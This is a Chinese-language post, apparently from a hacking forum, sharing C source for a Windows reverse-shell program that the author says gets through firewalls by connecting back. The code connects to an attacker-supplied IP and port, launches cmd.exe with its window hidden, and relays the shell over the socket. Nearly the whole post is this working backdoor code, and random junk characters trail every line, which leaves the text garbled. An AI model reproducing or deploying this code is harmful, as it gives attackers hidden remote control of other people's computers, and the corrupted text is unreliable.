这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 V8"Wpl9Cz
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/* ============================== >;nS8{2o
Rebound port in Windows NT cwynd=^nC
By wind,2006/7 R]QpMj%o
===============================*/ 9Nt3Z>d
#include _N'75
#include ~FUa:KYD
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#pragma comment(lib,"wsock32.lib") 2F?kjg,
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void OutputShell(); Z2p> n`D
SOCKET sClient; L2|aHI1'l
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; T:!MBWYe |
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void main(int argc,char **argv) z\.1>/Z=
{ b3U6;]|x
WSADATA stWsaData; RP`
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int nRet; +?d} 7zh
SOCKADDR_IN stSaiClient,stSaiServer; i'tp1CI
c> G@+
if(argc != 3) <NB41/
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printf("Useage:\n\rRebound DestIP DestPort\n"); @@}`hii
return; Y<LNQ]8\G
} WC-_+9)2&
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WSAStartup(MAKEWORD(2,2),&stWsaData); ?R6`qe_F
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q_4Zb
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stSaiClient.sin_family = AF_INET; 7BFN|S_l
stSaiClient.sin_port = htons(0); ')o0O9/;
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); J22r v(
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) . U/k<v<)6
{ lrys3
printf("Bind Socket Failed!\n"); Ew4g'A:H
return; eXzXd*$S
} ;KcFy@ 6q5
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stSaiServer.sin_family = AF_INET; 5(J^N
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?q Xs-
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); }kPVtSQ
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %v4
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{ r_2btpL^
printf("Connect Error!"); {;k_!v{
return; 6P+DnS[]
} >saI+u'o
OutputShell(); )%mAZk-*;^
} #s+Q{2s
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void OutputShell() d=F-L
{ ,-
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char szBuff[1024]; +X^4;
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SECURITY_ATTRIBUTES stSecurityAttributes; D 'L{wm
OSVERSIONINFO stOsversionInfo; se,Z#H
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; j>!sN`dBj
STARTUPINFO stStartupInfo; ']?=[`#NL
char *szShell; sv=H~wce
PROCESS_INFORMATION stProcessInformation; IVteF*8hU
unsigned long lBytesRead; treXOC9^B8
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 93D
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); x!?Z*v@I
stSecurityAttributes.lpSecurityDescriptor = 0; sXB+s
stSecurityAttributes.bInheritHandle = TRUE; Jsn <,4DO8
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); YMu)
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); }m_t$aaUc1
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %F5 =n"
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0j$OE
stStartupInfo.wShowWindow = SW_HIDE; Dl\d_:+
stStartupInfo.hStdInput = hReadPipe; NI\H
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `Zf9$K|
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GetVersionEx(&stOsversionInfo); Wz{%"o
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switch(stOsversionInfo.dwPlatformId) H[BYE
{ -S$$/sR
case 1: m!Af LSlwm
szShell = "command.com"; Qa?aL
break; mV zu~xym
default: $ !5f"<FCB
szShell = "cmd.exe"; !!+Da>
break; `M rBav
} XRa#21pQ
{!t=n
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); IMaYEO[
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send(sClient,szMsg,77,0); o2}N=|&
while(1) +H}e)1^I
{ w `!LFHK
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :;TYL[
if(lBytesRead) oCA(FQ6
{ ~B]jV$=
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); F[`vH
send(sClient,szBuff,lBytesRead,0); ,'_(DJX
} :gaETr
else p`p?li
{ {]["6V6W
lBytesRead=recv(sClient,szBuff,1024,0); %~\
if(lBytesRead<=0) break; i[_|%'p
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Ky6+~>
} -yA3 RP
} k_O-5{
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return; ~me\
}